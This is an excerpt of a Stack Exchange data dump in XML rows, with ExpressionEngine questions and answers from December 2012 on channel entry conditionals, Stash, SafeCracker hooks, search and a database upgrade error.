  <row Id="1996" PostTypeId="2" ParentId="1995" CreationDate="2012-12-21T05:01:00.673" Score="1" Body="&lt;p&gt;You could maybe do this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if entry_date &amp;gt; current_time}&#xA;   {if channel_short_name == &quot;channel-that-should-show-future-entries&quot;}&#xA;      show stuff&#xA;   {/if}&#xA;{if:else}&#xA;   {if (channel_short_name == &quot;channel-that-should-show-future-entries&quot; &amp;amp;&amp;amp; entry_date &amp;lt;= current_time) OR channel_short_name!=&quot;channel-that-should-show-future-entries&quot;}&#xA;      show stuff&#xA;   {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-12-21T05:01:00.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1997" PostTypeId="2" ParentId="1995" CreationDate="2012-12-21T05:04:00.053" Score="2" Body="&lt;p&gt;how about &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;alpha|beta|gamma&quot;}&#xA;    {if channel_short_name == 'blah'}&#xA;        show me&#xA;    {if:else}&#xA;        {if entry_date &amp;gt; current_time}&#xA;            show me&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="149" LastActivityDate="2012-12-21T05:04:00.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1998" PostTypeId="2" ParentId="1981" CreationDate="2012-12-21T05:06:35.790" Score="4" Body="&lt;p&gt;If I'm trying to get the stash in the same template I find using process=end in the stash:get usually works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;work&quot; limit=&quot;1&quot;}&#xA;Expected: {title} /&#xA;{exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- access with process=&quot;end&quot; --}&#xA;Result: {exp:stash:get name=&quot;title&quot; process=&quot;end&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info on process end in the &lt;a href=&quot;https://github.com/croxton/Stash/tree/dev#process--inlineend&quot; rel=&quot;nofollow&quot;&gt;Stash docs&lt;/a&gt; (dev branch, currently v2.3.5)&lt;/p&gt;&#xA;" OwnerUserId="380" LastActivityDate="2012-12-21T05:06:35.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1999" PostTypeId="1" AcceptedAnswerId="2004" CreationDate="2012-12-21T07:51:59.667" Score="4" ViewCount="656" Body="&lt;p&gt;I've been getting errors related to the exp_security_hashes table and it's always this statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unknown column 'ip_address' in 'where clause'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lsaj.png&quot; alt=&quot;Image of Database Error&quot;&gt;&#xA;Normally I would be looking at the add-on but this same issue/error has happened while using different add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I create the ip_address column in the exp_security_hashes?&lt;/p&gt;&#xA;" OwnerUserId="491" LastActivityDate="2012-12-21T10:14:12.513" Title="Database Error (exp_security_hashes)" Tags="|database|error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2000" PostTypeId="2" ParentId="1995" CreationDate="2012-12-21T07:53:31.747" Score="2" Body="&lt;p&gt;You can only do that kind of conditional retrieval by using a custom SQL query that does some checking of dates for you. Fortunately it's a pretty trivial query - only a little bit of logic required. Without knowing more about what your data looks like, etc, it's hard to provide more details information, but I'd suggest you run something like the (&lt;strong&gt;totally untested, probably broken, and  and likely to corrupt your DB&lt;/strong&gt;) SQL below through the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/index.html&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  exp_channel_titles.entry_id AS id,&#xA;  exp_channel_titles.title AS title,&#xA;  exp_channel_titles.entry_date AS date_published&#xA;FROM&#xA;  exp_channel_titles&#xA;WHERE &#xA;  ((exp_channels.channel_name = 'no_future_posts_channel_name_1' OR&#xA;    exp_channels.channel_name = 'no_future_posts_channel_name_2') AND&#xA;    exp_channel_titles.entry_date &amp;lt;= NOW()) OR&#xA;    exp_channel_titles.channel_name = 'future_posts_ok_channel_name'&#xA;ORDER BY &#xA;  date_published DESC&#xA;LIMIT &#xA;  15;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="648" LastActivityDate="2012-12-21T07:53:31.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2001" PostTypeId="2" ParentId="1999" CreationDate="2012-12-21T08:42:39.857" Score="2" Body="&lt;p&gt;It looks like some sort of upgrade process didn't complete all the way. Did you run the updater and ever get an error during the process? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do is do a full new local install, look at the local table in phpmyadmin, find the format and length etc of the field, then add it to the remote version that is looking for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this will keep the error from happening, you just might push it on to a different error, but it could work as well. In the end if it doesn't work, you could always remove the field again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Although saying all of that, isn't the addon builder part of some of solspace's offering - At least some older versions?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-21T08:42:39.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2002" PostTypeId="1" AcceptedAnswerId="2019" CreationDate="2012-12-21T08:53:10.697" Score="4" ViewCount="100" Body="&lt;p&gt;I've a MSM site and I want to create multiple administrator accounts.&#xA;&lt;hr/&gt;&#xA;&lt;strong&gt;Example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin1 =&gt; subdomain1.msmsite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin2 =&gt; subdomain2.msmsite.com&#xA;&lt;hr/&gt;&#xA;But the back-end/CP panel is located on subdomain1.msmsite.com/system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to reach subdomain2.msmsite/system with Admin2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;subdomain2.msmsite/system has a HTACCESS rewrite condition to subdomain1.msmsite/system&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="171" LastEditDate="2012-12-21T09:11:29.613" LastActivityDate="2012-12-21T15:02:52.913" Title="Multiple MSM administrators" Tags="|multi-site-manager|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2004" PostTypeId="2" ParentId="1999" CreationDate="2012-12-21T10:14:12.513" Score="4" Body="&lt;p&gt;The 2.5.4 release changed the &lt;code&gt;exp_security_hashes&lt;/code&gt; table structure. Any addons that were attempting to manually create an XID hash (EE uses them for secure form processing) are likely to have been caught out by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case it looks as though the Rating module is the culprit. It doesn't look as though Solspace have released a patch yet so you'd need to request one in case they're not already aware of the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will probably affect quite a few addons, so that would explain why you're seeing errors relating to more than just the Ratings module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[If you're using Missing Link I posted &lt;a href=&quot;http://www.vayadesign.net/software/missing-link/release-notes&quot; rel=&quot;nofollow&quot;&gt;a fix&lt;/a&gt; for this yesterday.]&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-21T10:14:12.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2005" PostTypeId="2" ParentId="1994" CreationDate="2012-12-21T10:49:24.657" Score="6" Body="&lt;p&gt;It can be done, Salesforce is integration using SOAP - so all you'd need to do is to write an EE Module wrapper for SF which encapsulates the necessary calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The API for Salesforce is available &lt;a href=&quot;http://www.salesforce.com/us/developer/docs/api/index.htm&quot;&gt;here&lt;/a&gt; and should identify all the things that you can do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either have the data held in EE &lt;em&gt;and&lt;/em&gt; in SF, or simply write a module which 'pulls' the information down from SF and stores it in EE temporarily for editing before pushing it back to SF when it's saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will say now thats its not an easy 10 minute job - so you either need to be a) extremely confident/proficient or b) able to employ someone who can do it for you.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2012-12-21T10:49:24.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2006" PostTypeId="1" AcceptedAnswerId="2007" CreationDate="2012-12-21T11:08:09.580" Score="1" ViewCount="205" Body="&lt;p&gt;After a user submits a SafeCracker form, is there a way for me to take a value from the submitted form, run it through a process, then set other Channel field values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm allowing users to enter their address. I need to convert that address to lat/lng values, which my Channel has fields for. I do not want my users to ever see this lat/lng value, so I never present it in the forms they see. The lat/lgn values are critical, though; I need them.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-21T13:23:47.630" Title="Post Processing of a SafeCracker Form - how to insert channel field data?" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2007" PostTypeId="2" ParentId="2006" CreationDate="2012-12-21T11:25:28.330" Score="2" Body="&lt;p&gt;Yes, this is indeed possible - what you'd need to do however is to create a custom extensions which hooks into the Safecracker hooks - particularly 'safecracker_submit_entry_start'. More information about the hooks are available &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/development.html#id3&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook will pass you the safecracker library object, which you should then be able to manipulate performing whatever data wrangling you need, update the object and then pass it back to Safecracker for onward processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just do it via jQuery/AJAX prior to the form being submitted? Google has a really good API which will convert postal codes to lat/lng values which you could then inject into your post array before submitting it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit] If you want a helping hand creating an extension, I thoroughly recommend &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt; - should give you a good head start.&lt;/p&gt;&#xA;" OwnerUserId="18" LastEditorUserId="18" LastEditDate="2012-12-21T12:15:16.633" LastActivityDate="2012-12-21T12:15:16.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2009" PostTypeId="1" AcceptedAnswerId="2018" CreationDate="2012-12-21T12:53:02.437" Score="5" ViewCount="297" Body="&lt;p&gt;In order to maximize code reuse, I'm trying to break down the mark up for each of my form fields into individual &quot;containers&quot; (e.g. a template, snippet, global). The project I am working on is form-heavy where the same field is used multiple times in different pages. The fields are part of forms that insert and edit Channel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the best place to store these pieces of HTML? I tried snippets and globals, but I think EE's parse order does not allow Channel data to be displayed in these containers. If I used templates, that's going to be a lot template calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Safecracker, but not sure if that matters here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="150" LastEditDate="2012-12-21T19:06:12.547" LastActivityDate="2012-12-23T01:54:04.033" Title="Breaking my HTML into tiny pieces - template, snippets, or globals?" Tags="|templates|safecracker|snippets|global-variables|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2010" PostTypeId="2" ParentId="2009" CreationDate="2012-12-21T13:08:14.723" Score="1" Body="&lt;p&gt;See &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/190/what-is-the-difference-between-a-global-variable-a-snippet-and-an-embedded-temp&quot;&gt;this post&lt;/a&gt; for some good answers about the different options available in EE for fragment reuse, but fundamentally if you want early parsing (so you can have the template tags in your fragment parsed) you normally want a snippet. However bear in mind that these cannot be nested. Embeds can, but these as you've noticed come with a hefty performance cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have more complex needs in this area than the native functionality can provide, have a look at &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low Variables&lt;/a&gt;, and (particularly for getting around parse order issues) &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2012-12-21T13:08:14.723" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2011" PostTypeId="2" ParentId="1729" CreationDate="2012-12-21T13:08:31.753" Score="1" Body="&lt;p&gt;Since you are using videos coming from vimeo and using iframes embeds, I would suggest you have a look at this technique: &lt;a href=&quot;http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/&quot; rel=&quot;nofollow&quot;&gt;detailed article on A List Apart&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technique is usually used in the framework of responsive sites but it will help your videos fill any container you put them in while preserving their aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another tool that might help you is &lt;a href=&quot;http://fitvidsjs.com/&quot; rel=&quot;nofollow&quot;&gt;fitvid.js&lt;/a&gt; by Chris Coyier and the Paravel folks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also advise you to keep your embed code at the template level, leaving only the video id as a custom field.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-12-21T13:08:31.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2012" PostTypeId="1" AcceptedAnswerId="2013" CreationDate="2012-12-21T13:09:30.727" Score="2" ViewCount="583" Body="&lt;p&gt;When I check the checkbox for &quot;Is field searchable?&quot;, what exactly does that offer me? I assume that means I can use that field in the Channel entries tag pair, such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:body=&quot;pickles&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I provided my users with a search form (with a number of fields)? How can take those form entries and pass it on to the Channel entry tag pair in order to do the search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just a sidenote:&lt;/strong&gt; My preference for search is for the URL to update in the address box, but not to load the page, and the page gets update via Ajax. However, that URL can be used to directly access the search results still.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-21T14:39:14.550" Title="How to search Channel entries using POST/GET?" Tags="|channel|search|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2013" PostTypeId="2" ParentId="2012" CreationDate="2012-12-21T13:20:13.303" Score="4" Body="&lt;p&gt;Actually, the &quot;Is field searchable?&quot; checkbox relates only to the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/index.html&quot;&gt;Search module&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;search&lt;/code&gt; parameter on the Channel Entries tag is only the most basic way to handle searches in EE. Your other native option is to use the Search module, specifically the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/advanced.html&quot;&gt;Advanced Search Form&lt;/a&gt;. But it is somewhat limited, and its URLs are not bookmark-able (as they eventually expire), nor are they at all human-readable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll be most happy with is &lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot;&gt;Super Search&lt;/a&gt; or &lt;a href=&quot;http://gotolow.com/addons/low-search&quot;&gt;Low Search&lt;/a&gt;. Well worth the money for either, they are both excellent search modules.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-21T13:20:13.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2014" PostTypeId="2" ParentId="2006" CreationDate="2012-12-21T13:23:47.630" Score="2" Body="&lt;p&gt;Take a look at my registration form on my site. It does exactly what you want, I even show a map so the user can verify their address. (You can't see them, but it's storing the lat/lng as well as the location on a map.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/account/register&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/account/register&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see it's a simple form using my Safecracker Registration add-on. Same thing works with a regular safecracker form too. This is powered totally by my Google Maps for ExpressionEngine add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.objectivehtml.com/google-maps&quot; rel=&quot;nofollow&quot;&gt;https://www.objectivehtml.com/google-maps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Maps for EE provides all the tools to speed up exactly what you are trying to do. There is a plugin called addressValidation.js included, which would essentially get you up and running in a few minutes. No need to mess with the Google Maps API directly using Google Maps for EE. I am confident that is the best and easiest solution, although not free. The Google Maps for EE API has by far the most features of any mapping add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just let me know if you have any questions. Happy to help you get this setup should you choose to go this route.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-21T13:23:47.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2015" PostTypeId="2" ParentId="2012" CreationDate="2012-12-21T14:08:10.267" Score="2" Body="&lt;p&gt;Low search is great, only just coming to it recently and its very flexible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a note too&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Actually, the &quot;Is field searchable?&quot; checkbox relates only to the native Search module. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am pretty sure supersearch and low search won't find a search in your field unless this is ticked .&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2012-12-21T14:08:10.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2016" PostTypeId="2" ParentId="2012" CreationDate="2012-12-21T14:39:14.550" Score="2" Body="&lt;p&gt;I did a entries search using post for a quiz type feature in a web site I built back in February. I also wrote up the entire &lt;a href=&quot;http://caffeinecreations.ca/blog/a-mostly-out-of-the-box-quiz-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;process here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copying and pasting a good section of that blog entry here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First up, build a channel called quiz results. with five fields. The first for field types need to be drop downs  - I called mine {question-one}, {question-two}, {question-three} and {question-four} and populated with the answers a, b, c each on a new line. The last field is a relationship field which will be the product that the results link to, I called this {question-result}. Now start the data entry creating entries for each possible combination of answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next build a basic form with radio buttons for the answer. You'll also need some way to get the $POST data into the quiz results page to pull up the correct answer. I thought about using strait php, but didn't want to enable php on my templates so looked to devot:ee for an add-on and found a few. The one that I chose looked best and is dead simple to use: &lt;a href=&quot;http://devot-ee.com/add-ons/evopost&quot; rel=&quot;nofollow&quot;&gt;EvoPost&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you need to create a new template called evopost (or whatever you want it to be) and set the action=&quot;&quot; to point to that template like this action=&quot;{site_url}/template_group/evopost&quot; and then in the evopost template  you add the following code where you prefix the name=&quot;&quot; value of each field with ep_ so if your field is name=&quot;old&quot; then your post data would be {ep_old}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:evopost:getpostdata}&#xA;  {redirect=&quot;/treat-matchmaker/results/{ep_old}/{ep_big}/{ep_name}/{ep_foobar}&quot;}&#xA;{/exp:evopost:getpostdata}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This then redirects to the results template where Where your channel entries tag then pulls this information from the url structure like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;matchmaker&quot;&#xA;  search:question-one=&quot;{segment_3}&quot;&#xA;  search:question-two=&quot;{segment_4}&quot;&#xA;  search:question-three=&quot;{segment_5}&quot;&#xA;  search:question-four=&quot;{segment_6}&quot;&#xA;  disable=&quot;pagination|member_data&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To me this sounds almost exactly like what you need/want to do, except for the ajax part.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-21T14:39:14.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2017" PostTypeId="2" ParentId="2009" CreationDate="2012-12-21T14:44:20.220" Score="2" Body="&lt;p&gt;My suggestion would be to use Low Variables, which allows you to set parse order for your snippet effectivly letting you set it to be a global variable or a snippet. Additionally you can pass variables to a low variable as if it were an embed using preparse (unlike traditional snippets which can't have anything passed to them) - see this &lt;a href=&quot;http://leereamsnyder.com/blog/low-variables-230-totally-killed-the-embed-tag&quot; rel=&quot;nofollow&quot;&gt;blog post for details&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points for Low Variables saving your variables as flat files for easier editing.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-21T14:44:20.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2018" PostTypeId="2" ParentId="2009" CreationDate="2012-12-21T14:48:30.407" Score="7" Body="&lt;p&gt;As someone who has been using EE for years, and going about templating in exactly the manner you are trying to for those many years, and who is just now learning a much easier way, I would like to suggest you look into using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that in the EE templating method you are pursuing, and that I and many others used for years is that your markup is spread throughout so many difference templates, snippets, global variables and more. The idea with Stash is that you have one (maybe two for very complicated sites) wrapper template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create one template in a template group called wrappers, then I do a single embed of this template in each of the actual site templates I create.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Embed the Primary Template --}&#xA;{embed=&quot;_wrappers/_main&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, by using Stash, you can “inject” content from the template you are loading via URL into the wrapper template that is embedded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting Content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;stuff&quot;}stuff goes here{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Calling set content in the embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name='stuff'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you really start exploring the possibilities of this method, a whole new world opens up. All your primary code is or can be stored in one template. The code that changes from template to template is stored in those templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you an idea of the possibilities, I don’t just use Stash to set content in the wrapper template, I use it to set certain variables too. Using the excellent &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; (you can use {if} statements as well), I can control various aspects of the wrapper template. For instance on the site I’m working on right now, the client wants a sidebar to appear on some pages, on others, not. But in most respects is simple enough to use only one wrapper template. So I’ve set up Switchee case logic to turn the sidebar on or off by getting the value of one of my Stash sets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Show the Sidebar? Possible Values are: &quot;sidebar&quot; &quot;nosidebar&quot; --}&#xA;{exp:stash:set name=&quot;template_type&quot;}sidebar{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason I’m bringing this up is because I wish I had know about this method sooner. It makes templating so much easier, and makes it a lot less of a hassle to keep track of where everything is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's value in tempting with snippets and global variables, but going this route with Stash is the method I always recommend using now if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still use Variables and Snippets to be sure, but not very many.&lt;/p&gt;&#xA;" OwnerUserId="467" LastEditorUserId="467" LastEditDate="2012-12-23T01:54:04.033" LastActivityDate="2012-12-23T01:54:04.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2019" PostTypeId="2" ParentId="2002" CreationDate="2012-12-21T14:50:36.240" Score="2" Body="&lt;p&gt;Using your admin.php file you can uncomment line 42 and set the site short name which would effectively login anyone to that particular site no matter which domain they were logging in from.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  $assign_to_config['site_name']  = 'domain2_short_name';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you make a copy of admin.php and rename it you could have to different login urls using the same domain: say admin.php and control.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;be sure to uncomment the next line and fill it in correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  $assign_to_config['cp_url'] = 'http://domain2.com/admin.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In theory this should work and will only take a minute to two to try out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you'll want to create separate member groups so that each administrator can only have access to what they need.&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2012-12-21T15:02:52.913" LastActivityDate="2012-12-21T15:02:52.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2020" PostTypeId="1" AcceptedAnswerId="2023" CreationDate="2012-12-21T14:50:53.827" Score="5" ViewCount="146" Body="&lt;p&gt;Does &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;entry views tracking&lt;/a&gt; allow you for 4 instances all together or 4 instances per channel?&lt;/p&gt;&#xA;" OwnerUserId="134" LastEditorUserId="28" LastEditDate="2012-12-22T06:12:39.770" LastActivityDate="2012-12-22T08:00:03.843" Title="What's the limit on entry views tracking?" Tags="|templates|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2021" PostTypeId="2" ParentId="2020" CreationDate="2012-12-21T14:54:25.380" Score="1" Body="&lt;p&gt;4 instances all together, but you can of course limit your results by channel(s):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='news' orderby='view_count_one'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='news|portfolio' orderby='view_count_one'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="195" LastActivityDate="2012-12-21T14:54:25.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2022" PostTypeId="1" AcceptedAnswerId="2024" CreationDate="2012-12-21T15:05:25.470" Score="2" ViewCount="51" Body="&lt;p&gt;I'm embedding a set of tag pairs with another set of tag pairs, but because there are two entries that meet the criteria of the outer tag pairs, EE's displaying the embedded tag pairs twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;property_details&quot; dynamic=&quot;no&quot; status=&quot;open&quot; orderby=&quot;random&quot; limit=&quot;3&quot; search:featured_property=&quot;=y&quot;}&#xA;        {if total_results &amp;lt; 3}&#xA;            {embed=&quot;includes/homepage-properties&quot;}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is display three 'featured' entries when three or more exist (which is relatively simply using the search parameter in the tag and then an {if total_results &gt; 2} within the tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there aren't three results, I'm trying to just pick three non-featured entries at random as display them. I've embedded a template to enable me to use a tag pair within another, but this is then displaying that embedded template twice as there are two entries that meet the out tags criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to make it just display the embedded template once?&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2012-12-21T15:19:18.370" Title="Anyone know how to limit the number of entries displayed between a set of tag pairs embedded in other tag pairs?" Tags="|channel-entries|search|embeds|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
